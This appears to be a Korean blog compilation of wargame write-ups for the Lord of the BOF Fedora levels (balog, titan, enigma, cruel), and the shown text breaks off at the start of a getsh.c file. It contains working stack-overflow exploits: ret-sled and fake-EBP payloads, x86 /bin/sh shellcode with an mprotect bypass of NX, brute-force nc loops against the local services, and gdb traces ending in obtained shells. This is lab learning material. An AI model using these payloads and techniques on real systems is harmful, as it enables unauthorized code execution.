[출처]http://www.codeengn.com/archive/Reverse%20Engineering/Buffer%20Overflow/Smashing%20the%20stack%20%5B%EC%B5%9C%EC%9E%AC%EC%98%81%5D.pdf


/*

The Lord of the BOF : The Fellowship of the BOF 

- balog

- Local BOF on Fedora Core 10 

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


int main(int argc, char *argv[])

{

        char buffer[256];

        if(argc != 2)

        {

                printf("argc Error!!\n");

                exit(-1);

        }


// overflow!!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        return 0; 

}



소스코드를 보면 strcpy로 입력 값을 buffer에 복사하고 printf로 출력한다.

달라진 점은 fedora core 5 이후 환경에서는 프롤로그와 에필로그이다.





(gdb) disas main               


//프롤로그


Dump of assembler code for function main:

0x08048414 <main+0>: lea    ecx,[esp+0x4]

0x08048418 <main+4>: and    esp,0xfffffff0

0x0804841b <main+7>: push   DWORD PTR [ecx-0x4]

0x0804841e <main+10>: push   ebp

0x0804841f <main+11>: mov    ebp,esp

0x08048421 <main+13>: push   ecx




//에필로그

0x0804848a <main+118>: pop    ecx
0x0804848b <main+119>: pop    ebp
0x0804848c <main+120>: lea    esp,[ecx-0x4]
0x0804848f <main+123>: ret   








 스택을 보면 위 그림과 같다.

에필로그 할 때는 lea esp,[ecx-4] 로 esp를 RET주소에 옮기고 ret한다.




위와 같은 프롤로그와 에필로그를 하게 되면 오버플로우를 통해 ret 영역을 변경하기가 쉽지 않다.

이유는 ASLR이 걸려있어 ecx를 정확히 알아내기 어렵기 때문이다.








위 그림은 스택구조이다. (왼쪽 공격 전, 오른쪽 공격 후 )


이 문제를 exploit 하기 위해서는 buffer 마지막 4바이트를 제외하고 나머지는 ret가젯 주소로 overwriting 한다.

그리고 마지막 4바이트는 main+112를 채워준다. 이렇게 buffer에 256바이트를 전부 채우면 ecx에 1바이트 0x00이 덮어씌워지게 된다.

그러면 ecx가 낮은 주소 방향을 가리킬 것이고,  에필로그를  통해 buffer쪽 ret가젯이 실행되면서 ret sled할 것이다.


마지막 4바이트는 다음과 같다.

0x08048484 <main+112>: add    esp,0x114

0x0804848a <main+118>: pop    ecx

0x0804848b <main+119>: pop    ebp

0x0804848c <main+120>: lea    esp,[ecx-0x4]

0x0804848f <main+123>: ret  



esp 는 환경변수가 위치한 영역을 가리키게 될 것이고 segmentation fault가 뜰 것이다.





#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"E25",

"E26",

"E27"

"E28",

"E29",

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}





컴파일하고 실행시켜주면 에러가 난다. 코어파일을 보면


[titan@Fedora_3rdFloor ~]$ gdb -c core.21633 

.

.

.

Program terminated with signal 11, Segmentation fault.

[New process 21633]

#0  0x00353262 in ?? ()

(gdb) x/s $esp

0xbfc17fe1: "E26"



현재 E25에서 리턴하려다가 에러난 것이기 때문에 아래와 같이 구성해주면 된다.

E24 | execl | E26 | &sh | &sh | NULL | ...




함수주소

execl = 0x2f6ac0 

&/bin/sh = 0x396db5

&sh = 0x396db5+5 = 0x396dba


홈디렉터리에서 권한 상 쉘을 씌울 수 없기 때문에 /tmp에 sh 파일을 만들어준다.




#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"\xc0\x6a\x2f\x00",             // execl

"E26",    // dummy

"\xba\x6d\x39",    // sh

"\xba\x6d\x39",    // sh

"\x00","\x00","\x00","\x00", // NULL (이렇게 해주는 이유는 NULL을 "\x00\x00\x00\x00" 으로 하면 제대로 안들어감)

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}




그리고 홈디렉토리 balog 파일을 /tmp에 balo3으로 심볼릭 링크 걸어둔다.

다시 한번 말하지만 중요한 점은 홈디렉토리에 sh파일을 만들어주면 권한 상 실행이 안됨.

(홈디렉토리인 titan의 권한을 보면 titan 이외의 권한은 모두 0임. 그래서 balog가 sh을 실행할 수 없음)
























'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

        The Lord of the BOF : The Fellowship of the BOF

        - titan

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 8888

*/


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


static char buffer[40];

static void (*ftn)();


void print()

{

        printf("nothing here\n");

fflush(stdout);

}


int main()

{

        char buf[48];

        ftn = print;


        printf("titan : What a tragic mistake.\n");

        printf("you : ");

        fflush(stdout);


// give me a food

        fgets(buf,48,stdin);


// buffer overflow!!

        strcpy(buffer,buf);


// preventing RTL

        if(((int)ftn & 0xff000000) == 0)

        {

                printf("I've an allergy to NULL");

                exit(1);

        }


// clearing buffer

memset(buffer, 0, 40);


        ftn();

}


소스코드를 살펴보면 지역변수 buf에 fgets함수를 이용하여 값을 입력한다.

그리고 strcpy함수로 전역변수 buffer에 복사하는데 이 때 오버플로우가 발생한다.

또 조건이 있는데 ftn함수는 라이브러리함수의 주소를 오버라이팅 시키면 안됨.

그 후 memset함수를 이용하여 전역변수 buffer를 40바이트 클리어 시켜준 후 ftn()를 호출한다.



여기서 오버플로우로 인해 ftn함수의 주소를 조작할 수 있다.

초기화 되지 않은 전역변수는 .bss영역에 있기 때문에 오버플로우가 제대로 됬는지 확인해보자.







(python -c 'print "A"*48';cat) | (python -c 'print "r"';cat) | (python -c 'print "b* main+171"';cat) | gdb -q 3itan 




<memset 한 후 .bss영역>






현재 할 수 있는 것은 전역변수를 오버플로우 시켜서 ftn함수의 주소를 바꾸는 것 뿐이다.

그 마저도 라이브러리함수를 사용하지 못하기 때문에 RTL 공격을 못한다.


도저히 어떻게 해야할지 모르겠어서 write up을 보았더니 

code reuse attack 을 이용하여 공략했다. code reuse attack은 해당 프로그램의 TEXT영역의 코드를 이용하여 프로그램의

흐름을 조작해 원하는 결과를 얻는 공격 방식이다.





ftn() 의 주소를 0x0804854a로 오버라이팅을 시켜서 흐름을 바꿔주었다.

그로인해 esp는 더 높은주소 방향을 향해 이동한다.

그리하여 다음과 같은 공격이 가능해진다.










[enigma@Fedora_2ndFloor ~]$ (python -c 'print "B"*8+"\xe7\xb0\x7d\x00"+"BBBB"+"\x87\xd9\x8b\x00"';cat)|(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) |(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) > aa



[enigma@Fedora_2ndFloor ~]$ gdb -q 3itan 
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b* main+88
Breakpoint 1 at 0x804854d
(gdb) disp/5i $eip
(gdb) disp/28wx $esp
(gdb) r<aa
Starting program: /home/enigma/3itan <aa
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xbc1000
(no debugging symbols found)
(no debugging symbols found)
titan : What a tragic mistake.
you : 
Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0150: 0x00000000 0x00000000 0xbffd1c23 0x08048456
0xbffd0160: 0x00000000 0x080497a8 0xbffd0178 0x08048395
0xbffd0170: 0x008caff4 0x008cc360 0xbffd0198 0x080485de
0xbffd0180: 0x008caff4 0x00000001 0x00000000 0x008caff4
0xbffd0190: 0x007a2ca0 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd015c: 0x08048456 0x00000000 0x41414141 0x41414141
0xbffd016c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd017c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd018c: 0x0804854a 0x007a000a 0x080485c4 0xbffd01f8
0xbffd019c: 0x007bad7f 0x00000001 0xbffd0224 0xbffd022c
0xbffd01ac: 0xbffd01e0 0x00795898 0x007a3878 0xb7fd2690
0xbffd01bc: 0x00000001 0x008caff4 0x007a2ca0 0x080485c4
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) b* fgets+242  // fgets함수 ret부분
Breakpoint 2 at 0x7fb272
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0148: 0x08048561 0xbffd0164 0x00000030 0x008cb740
0xbffd0158: 0xbffd1c23 0x08048456 0x00000000 0x41414141
0xbffd0168: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0178: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0188: 0x41414141 0x0804854a 0x007a000a 0x080485c4
0xbffd0198: 0xbffd01f8 0x007bad7f 0x00000001 0xbffd0224
0xbffd01a8: 0xbffd022c 0xbffd01e0 0x00795898 0x007a3878
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0168: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0178: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0188: 0x41414141 0x0804854a 0x007a000a 0x080485c4
0xbffd0198: 0xbffd01f8 0x007bad7f 0x00000001 0xbffd0224
0xbffd01a8: 0xbffd022c 0xbffd01e0 0x00795898 0x007a3878
0xbffd01b8: 0xb7fd2690 0x00000001 0x008caff4 0x007a2ca0
0xbffd01c8: 0x080485c4 0xbffd01f8 0xbffd01a0 0x007bad44
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0154: 0x08048561 0xbffd0164 0x00000030 0x008cb740
0xbffd0164: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0174: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0184: 0x41414141 0x41414141 0x0804854a 0x007a000a
0xbffd0194: 0x080485c4 0xbffd01f8 0x007bad7f 0x00000001
0xbffd01a4: 0xbffd0224 0xbffd022c 0xbffd01e0 0x00795898
0xbffd01b4: 0x007a3878 0xb7fd2690 0x00000001 0x008caff4
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0174: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0184: 0x41414141 0x41414141 0x0804854a 0x007a000a
0xbffd0194: 0x080485c4 0xbffd01f8 0x007bad7f 0x00000001
0xbffd01a4: 0xbffd0224 0xbffd022c 0xbffd01e0 0x00795898
0xbffd01b4: 0x007a3878 0xb7fd2690 0x00000001 0x008caff4
0xbffd01c4: 0x007a2ca0 0x080485c4 0xbffd01f8 0xbffd01a0
0xbffd01d4: 0x007bad44 0x00000000 0x00000000 0x00000000
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd0160: 0x08048561 0x41414141 0x41414141 0x41414141
0xbffd0170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd0180: 0x41414141 0x41414141 0x41414141 0x0804854a
0xbffd0190: 0x007a000a 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
0xbffd01c0: 0x008caff4 0x007a2ca0 0x080485c4 0xbffd01f8
1: x/5i $eip
0x7fb272 <fgets+242>: ret    
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) c
Continuing.

Breakpoint 1, 0x0804854d in main ()
2: x/28xw $esp
0xbffd0180: 0x41414141 0x41414141 0x41414141 0x0804854a
0xbffd0190: 0x007a000a 0x080485c4 0xbffd01f8 0x007bad7f
0xbffd01a0: 0x00000001 0xbffd0224 0xbffd022c 0xbffd01e0
0xbffd01b0: 0x00795898 0x007a3878 0xb7fd2690 0x00000001
0xbffd01c0: 0x008caff4 0x007a2ca0 0x080485c4 0xbffd01f8
0xbffd01d0: 0xbffd01a0 0x007bad44 0x00000000 0x00000000
0xbffd01e0: 0x00000000 0x0079ae60 0x0079613d 0x007a2fb4
1: x/5i $eip
0x804854d <main+88>: mov    0x80497e4,%eax
0x8048552 <main+93>: sub    $0x4,%esp
0x8048555 <main+96>: push   %eax
0x8048556 <main+97>: push   $0x30
0x8048558 <main+99>: lea    0xffffffcc(%ebp),%eax
(gdb) c
Continuing.

Breakpoint 2, 0x007fb272 in fgets () from /lib/libc.so.6
2: x/28xw $esp
0xbffd016c: 0x007db0e7 0x42424242 0x008bd987 0x008c000a
0xbffd017c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffd018c: 0x0804854a 0x007a000a 0x080485c4 0xbffd01f8
0xbffd019c: 0x007bad7f 0x00000001 0xbffd0224 0xbffd022c
0xbffd01ac: 0xbffd01e0 0x00795898 0x007a3878 0xb7fd2690
0xbffd01bc: 0x00000001 0x008caff4 0x007a2ca0 0x080485c4
0xbffd01cc: 0xbffd01f8 0xbffd01a0 0x007bad44 0x00000000
1: x/5i $eip
0x7fb272 <fgets+242>: ret    // fgets함수의 ret과 main함수의 buf영역과 겹친다. 그래서 그 부분을 system함수 주소를 덮어씌워 공격함.
0x7fb273 <fgets+243>: mov    (%edi),%edx
0x7fb275 <fgets+245>: test   $0x20,%dl
0x7fb278 <fgets+248>: jne    0x7fb2a6 <fgets+294>
0x7fb27a <fgets+250>: movb   $0x0,(%esi,%ecx,1)
(gdb) x/i 0x007db0e7
0x7db0e7 <system>: push   %edi







The program is running.  Exit anyway? (y or n) y

[enigma@Fedora_2ndFloor ~]$ (python -c 'print "B"*8+"\xe7\xb0\x7d\x00"+"BBBB"+"\x87\xd9\x8b\x00"';cat)|(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) |(python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | (python -c 'print "A"*40 + "\x4a\x85\x04\x08"';cat) | nc localhost 8888

titan : What a tragic mistake.

you : id

uid=503(titan) gid=503(titan) context=system_u:system_r:inetd_t

my-pass

euid = 503

out of the night


[titan@Fedora_2ndFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

                   `'



ps. 풀기전에 너무 헤맸다.. 다 풀고보니까 안 어려워 보이지만 풀기까지 엄청 삽질했다..




'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora10]titan->balog  (0) 2016.01.06
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

        The Lord of the BOF : The Fellowship of the BOF

        - enigma

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 7777

*/


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>


int vuln(int canary,char *ptr)

{

        char buffer[256];

        int *ret;

        

// stack overflow!!

strcpy(buffer,ptr); 


// overflow protected

        if(canary != 0x31337)

        {

                printf("who broke my canary?!");

                exit(1);

        }


        // preventing RTL

        ret = &canary - 1;

        if((*ret & 0xff000000) == 0) 

        {

                printf("I've an allergy to NULL");

                exit(1);

        }


// clearing attack buffer

memset(ptr, 0, 1024);


        return 0;

}


int main()

{

char buffer[1024];


printf("enigma : The brothers will be glad to have you!\n");

printf("you : ");

fflush(stdout);


// give me a food!

        fgets(buffer, 1024, stdin);


// oops~!

        vuln(0x31337, buffer);

// bye bye

exit(0);

}


프로그램을 설명하자면, main에서 fgets함수로 buffer에 버퍼 크기만큼 입력을 받고, vuln함수에 canary와 buffer를 인자로 넘겨줍니다.

vuln함수에서는 인자로 전달받은 buffer를 지역변수 buffer에 복사를 하는데 overflow가 발생합니다.

그 때 canary를 검사하여 0x31337값이 그대로면 종료하지 않고 RET영역에 들어가는 값과 0xff000000를 &연산을 하여 RET영역이

라이브러리 함수로 overwriting 되었는지 확인하고 라이브러리 함수면 종료한다.

만약 라이브러리 함수가 아니면 그 다음으로 memset을 통해 ptr주소부터 1024바이트 clear시켜줌



그럼 일단 nx bit에 아스키아머가 있고,asrl..음

vuln RET영역에 라이브러리 함수주소도 못쓰고...

할 수 있는건 fget함수가 사용하는 임시버퍼영역을 이용할 것인데, 그 영역을 mprotect함수로 x권한을 준 뒤 쉘코드를 넣고

쉘코드를 실행하게 해주면 nx bit를 우회할 수 있을 것이다. 밑에 그림으로 설명했으니까 그 부분에서 더 자세히 보자.



그런데 임시버퍼영역의 주소가 fedora3에서는 고정이였던 것 같은데 fedora4에서는 랜덤이다.. 확인해보자.


mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fc5000

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7feb000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f5e000

보면 0xb7fxx000  이런식이다. 그럼 저런 형식의 주소 하나를 정해서 브루트포싱 하면 될듯.



일단 fget함수의 임시버퍼영역으로 esp와 ebp를 이동시키기 위해서 필요한 것은 fake ebp기법을 통해

vuln함수가 leave , ret 명령을 할 때 sfp를 임시버퍼영역 주소 중 한 부분으로 overwriting 시켜줌으로써 ebp를 이동시켜주고,

RET영역에 &leaveret 주소를 overwriting 하여 esp를 이동시켜준다.


그림으로 설명하자면,





| AAAA... | SFP | RET | canary | BBBB | &mprotect | &shellcode | &stdin | strlen | rwx | nop+shellcode |



while true; do (python -c 'print "A"*260+"\x10\x91\xf6\xb7"+"\x8e\x85\x04\x08"+"\x37\x13\x03\x00"+"BBBB"+"\x40\xd2\x86\x00"+"\x90\x91\xf6\xb7"+"\x00\x90\xf6\xb7"+"\xe8\x03\x00\x00"+"\x07\x00\x00\x00"+"\x90"*400+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | nc localhost 7777 ; done





enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 

enigma : The brothers will be glad to have you!

you : 




id

uid=502(enigma) gid=502(enigma) context=system_u:system_r:inetd_t

my-pass

euid = 502

let me ride


'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora10]titan->balog  (0) 2016.01.06
[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

/*

The Lord of the BOF : The Fellowship of the BOF 

- cruel

- Local BOF on Fedora Core 4

- hint : no more fake ebp, RET sleding on random library

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




이 문제도 strcpy함수에 의해 buffer에 복사할 때 오버플로우가 발생한다.

그러면 execl함수를 사용하여 ret sleding하면서 스택에 박혀있는 쓰레기 값을 첫번째 인자로 만들어 준 뒤

그 첫번째 인자의 문자열을 심볼릭 링크를 걸고 공격하는 방법으로 공략하겠습니다.


[출처] http://smleenull.tistory.com/305

**주의할점**

(execl()함수의 두 번째 인자로 들어가는 값이 0x00000000인 경우엔 segmentation default가 뜬다.)




(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68




(gdb) b* main+109      // ret부분

Breakpoint 1 at 0x8048451

(gdb) r `python -c 'print "A"*260+"BBBB"'`

Starting program: /home/dark_stone/crue3 `python -c 'print "A"*260+"BBBB"'`

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x9b2000

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



Breakpoint 1, 0x08048451 in main ()

(gdb) x/30wx $esp

0xbfc417bc: 0x42424242 0x00000000 0xbfc41844 0xbfc41850

0xbfc417cc: 0xbfc41800 0x00795898 0x007a3878 0xb7f41690

0xbfc417dc: 0x00000001 0x008caff4 0x007a2ca0  0x08048454

0xbfc417ec: 0xbfc41818 0xbfc417c0 0x007bad44 0x00000000

0xbfc417fc:       0x00000000 0x00000000 0x0079ae60 0x0079613d

0xbfc4180c: 0x007a2fb4 0x00000002 0x08048340 0x00000000

0xbfc4181c: 0x08048361 0x080483e4 0x00000002 0xbfc41844

0xbfc4182c: 0x08048454 0x080484b0


(gdb) r
Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfc5e05c: 0x42424242 0x00000000 0xbfc5e0e4 0xbfc5e0f0
0xbfc5e06c: 0xbfc5e0a0 0x00795898 0x007a3878 0xb7f60690
0xbfc5e07c: 0x00000001 0x008caff4 0x007a2ca0 0x08048454
0xbfc5e08c: 0xbfc5e0b8 0xbfc5e060 0x007bad44 0x00000000
0xbfc5e09c: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfc5e0ac: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfc5e0bc: 0x08048361 0x080483e4 0x00000002 0xbfc5e0e4
0xbfc5e0cc: 0x08048454 0x080484b0
(gdb) 

// 저기 밑줄 친 부분들은 여러번 다시 실행시켜도 고정적인 값이다. 그러므로 저 부분을 execl 인자로 사용하여 공략하면 된다.


(gdb) r `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Breakpoint 1, 0x08048451 in main ()
(gdb) x/30wx $esp
0xbfb7df8c: 0x08048451 0x08048451 0x08048451 0x08048451   // ret주소
0xbfb7df9c: 0x08048451 0x08048451 0x08048451 0x00832d68  // execl 주소
0xbfb7dfac: 0x00000001 0x008caff4 0x007a2ca0 0x08048454  // execl 인자들
0xbfb7dfbc: 0xbfb7dfe8 0xbfb7df90 0x007bad44 0x00000000
0xbfb7dfcc: 0x00000000 0x00000000 0x0079ae60 0x0079613d
0xbfb7dfdc: 0x007a2fb4 0x00000002 0x08048340 0x00000000
0xbfb7dfec: 0x08048361 0x080483e4 0x00000002 0xbfb7e014
0xbfb7dffc: 0x08048454 0x080484b0


그러면 첫번째 인자(실행파일)의 문자열을 구해보자.

(gdb) x/10bx 0x008caff4
0x8caff4: 0x3c 0xad 0x8c 0x00 0x16 0xab 0x7b 0x00
0x8caffc: 0x00 0x00

// 실행 파일명이 0x3c 0xad 0x8c이다.  이 부분을 심볼릭 링크하자.
========================================================
[dark_stone@Fedora_2ndFloor ~]$ cat getsh.c 
#include<stdio.h>

int main()
{
